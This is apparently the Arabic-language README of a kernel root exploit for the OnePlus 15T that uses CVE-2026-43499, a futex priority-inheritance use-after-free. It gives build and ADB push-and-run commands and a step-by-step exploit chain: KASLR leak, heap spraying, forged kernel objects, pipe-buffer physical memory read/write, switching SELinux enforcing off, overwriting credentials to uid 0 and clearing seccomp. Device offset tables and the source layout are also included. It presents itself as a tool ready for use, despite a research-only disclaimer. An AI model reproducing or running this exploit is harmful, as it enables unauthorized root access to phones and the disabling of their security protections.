
(CVE-2026-43499)استغلال ثغرة في النواة لجهاز OnePlus 15T مع Bootloader غير مفتوح.
استغلال للنواة (Kernel exploit) يستهدف أجهزة OnePlus 15T ذات مُحمّل الإقلاع المقفل. يستخدم CVE-2026-43499 للحصول على وصول جذر (root) دون فتح قفل مُحمّل الإقلاع أو تعديل boot.img.
لأغراض البحث الأمني والتعليم المصرّح بها فقط.
مُعدَّل من المستودع الأصلي GhostLock-for-OnePlus، ومُكيَّف لتخطيط الذاكرة الفعلية وتوقيت المعالج (CPU timing) لجهاز OnePlus 15T (PLZ110 / SM8850 / Snapdragon 8 Elite).
| العنصر | التفاصيل |
|---|---|
| CVE | CVE-2026-43499 |
| النوع | Futex PI (توريث الأولوية) — Use-After-Free |
| النطاق | نواة Linux من 2.6.39 حتى 7.1 |
| أُصلح في | Mainline 7.1 (commit 3bfdc63936dd) |
| حالة أندرويد | GKI 6.12.x لا تزال عرضة للثغرة |
يقوم استدعاء النظام (syscall) pselect6 بنسخ fd_set إلى مكدس النواة. عند دمجه مع آلية انتظار futex PI، يمكن إعادة تخصيص إطار مكدس مُحرَّر كبنية rt_mutex_waiter. أثناء اجتياز سلسلة PI، تقوم إعادة توازن شجرة rb (rb-tree) بكتابة بيانات مُتحكَّم بها إلى عناوين نواة عشوائية.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| الجهاز | الاسم الرمزي | SoC | النواة | البرنامج الثابت (Firmware) | الحالة |
|---|---|---|---|---|---|
| OnePlus 15T | PLZ110 | SM8850 (Snapdragon 8 Elite) | 6.12.38-android16-5-g844001fb8721-ab14552068-4k | ColorOS 16.0.9.400 | ✅ مُتحقَّق منه |
بالنسبة إلى Ace 6T وOnePlus 15، راجع المستودع الأصلي.
يتولى GhostLock تصعيد الصلاحيات. يتطلب تثبيت KernelSU وجود ksud (مُرفق مع kernelsu.ko الخاص بـ KMI):
| المصدر | ملاحظات |
|---|---|
| حزمة ReSukiSU APK (موصى بها) | ثبّت ReSukiSU؛ الحزمة تشتمل على |
بدون ksud، سيظل الاستغلال يحصل على شل جذر (root shell) بصلاحيات uid=0، لكن لن يتم تثبيت KernelSU ولن يستمر عمل
su.
ANDROID_NDK_HOME أو ANDROID_NDK_ROOT# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — ملف تنفيذي ARM64 ELF مرتبط ثابتًا (statically linked).
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
بعد أول نجاح، يضبط
resetpropتلقائيًاpersist.adb.tcp.port=5555، مما يتيح التشغيل التلقائي الكامل في عمليات إعادة التشغيل اللاحقة.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop لتفعيل ADB TCP على المنفذ 5555127.0.0.1:5555/data/local/tmp/a/e --write1
تُخزَّن الإزاحات في جدول البحث src/devices/offsets.h، ويتم فهرستها حسب uname -r. يطابق البرنامج النواة تلقائيًا عند بدء التشغيل؛ ويُرفض أي نواة غير معروفة.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
عندما تكون مؤشرات النواة مقيدة (kptr_restrict)، يتم تسريب عنوان القاعدة عبر boot_id بعد الكتابة فوقه بعنوان نواة:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
عندما يكون جهاز ashmem متاحًا، استخدم بدائيات القراءة/الكتابة في configfs لقراءة مؤشرات الدوال من جدول fops الخاص بـ ashmem وحساب إزاحة KASLR.
تزييف كائنات النواة على صفحات من الرتبة الثالثة (32KB):
file_operations مزيف — اختطاف مؤشر fops الخاص بجهاز ashmem miscdevicert_mutex_waiter مزيف — محاكاة عقدة انتظار في سلسلة PItask_struct مزيف — مرجع مهمة أثناء اجتياز PIrt_mutex (قفل) مزيف — معلومات صحيحة عن المنتظِر/المالكيتم التنفيذ عبر SKB (مخزن المقبس) + KernelSnitch:
mm_structsendmsg لملء كومة النواةبعد الحصول على قاعدة KASLR، استخدم مخازن الأنبوب (pipe buffers) للوصول إلى الذاكرة على المستوى الفعلي:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
المدعوم: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
يتم تنفيذ التحقق من الصلاحيات بقراءتها مرة أخرى بعد الكتابة فوق cred.
src/core/miniadb.c — عميل بروتوكول ADB خفيف الوزن لوضع التمهيد (bootstrap):
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
يدعم خوارزميات التوقيع SHA-1 وSHA-256.
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
تم تعديل هذا المستودع؛ راجع المستودع الأصلي للحصول على التفاصيل.
تأكد من أنك تعمل داخل شل ADB. سياق التطبيق يتطلب --bootstrap.
إصدار نواتك غير مدعوم بعد. اتبع إضافة أجهزة جديدة لاستخراج الإزاحات وإعادة البناء.
CORE)PSELECT_ENTER_DELAY_USECperf_event_open (استخدم --bootstrap في سياق التطبيق)kaslr_base صالح)ksud وأنه قابل للتنفيذload_policy)لأغراض البحث الأمني والتعليم المصرّح بها فقط.
libksud.so| إصدار CI | نزّله من إصدارات ReSukiSU CI (ksud-aarch64-linux-android.zip) |
| النوع | العدد | الاستخراج |
|---|
| رموز kallsyms العامة | 28 | tools/extract_target.py |
| حقول بنى BTF | 57 | tools/extract_btf.py |
| قيم مشتقة | 9 | تُحسب تلقائيًا |
| ثوابت ثابتة | 12 | مُرمَّزة (Hardcoded) |
| البنية | الحقول | الغرض |
|---|
task_struct | 17 | واصف العملية، cred، seccomp |
rt_mutex_waiter | 6 | هدف التزييف في UAF |
cred | 4 | بيانات الاعتماد، الصلاحيات (capabilities) |
seccomp | 3 | حالة فلتر seccomp |
pipe_inode_info | 11 | عمليات مخزن الأنبوب (pipe buffer) |
file_operations | 13 | جدول fops مزيف |
mm_struct | 1 | مالك واصف الذاكرة |
| الوحدة | الملف(ات) | المسؤولية |
|---|
| نقطة الدخول | main.c | تحليل سطر الأوامر (CLI)، توزيع W1/W2، تدفق التمهيد (bootstrap) |
| مسار PI | fops.c / slide.c | تخطيط مكدس pselect/select، التلاعب بسلسلة futex PI |
| KASLR | util.c / fops.c / slide.c | تجاوز ثنائي الوضع: تسريب boot_id + تسريب جدول fops |
| رش الكومة | util.c | تخصيص صفحات من الرتبة الثالثة، رش SKB، تخطيط الكائنات المزيفة |
| القراءة/الكتابة الفعلية | pipe.c | اختطاف مخزن الأنبوب، وصول عشوائي للذاكرة الفعلية |
| تصعيد الصلاحيات | root.c | الكتابة فوق cred، التحقق من الصلاحيات، مسح seccomp |
| ADB | miniadb.c | عميل بروتوكول ADB خفيف الوزن، مصادقة RSA |
| محرك التسريب | kernelsnitch/ | اصطدام تجزئة futex لتحديد موقع mm_struct |